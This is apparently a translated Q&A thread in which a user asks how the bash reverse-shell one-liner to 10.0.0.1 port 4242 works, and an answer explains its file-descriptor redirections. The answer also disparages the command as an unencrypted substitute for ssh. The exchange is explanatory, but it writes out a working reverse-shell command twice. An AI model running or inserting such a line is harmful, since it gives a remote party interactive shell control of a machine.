我仍然想弄清楚这个命令是如何工作的?
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
我在某处发现这0>&1
意味着 STDIN 是通过连接发送的,但 STDIN 不应该已经通过该连接发送,因为>&
意味着“将所有内容发送到/dev/tcp/HOST/PORT
”?
答案1
该命令不起作用。至少对于“工作”的任何非慈善定义来说是这样。
shell 仍将附加到启动它的终端,并且作业控制、诸如Control-C
或Control-Z
在后台运行命令将不起作用。您也无法在后台运行该代码片段本身&
。
当您可以在 2021 年以普通用户身份在任何 >= 1024 的端口上轻松运行 ssh 服务器时,为什么还要在非加密连接上运行 shell?
我不知道为什么这个片段不断出现(大概是我第 15 次或第 17 次看到它)——也许有人太成功了宣传他的博客;-)
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
>&
意思是“将所有内容发送至/dev/tcp/HOST/PORT
”
不,这不是这个意思。在bash中,它的意思是“打开一个到HOST和PORT的tcp连接,并将dup2(2)
连接的套接字连接到文件描述符1(stdout)和2(stderr)。然后0>&1
意味着“dup2(2)
文件描述符1(stdout)到文件描述符0(stdin)”。
由于重定向是从左到右发生的,因此将bash -i
使用连接到 HOST 和 PORT 的套接字作为其 stdin、stdout 和 stderr 来运行。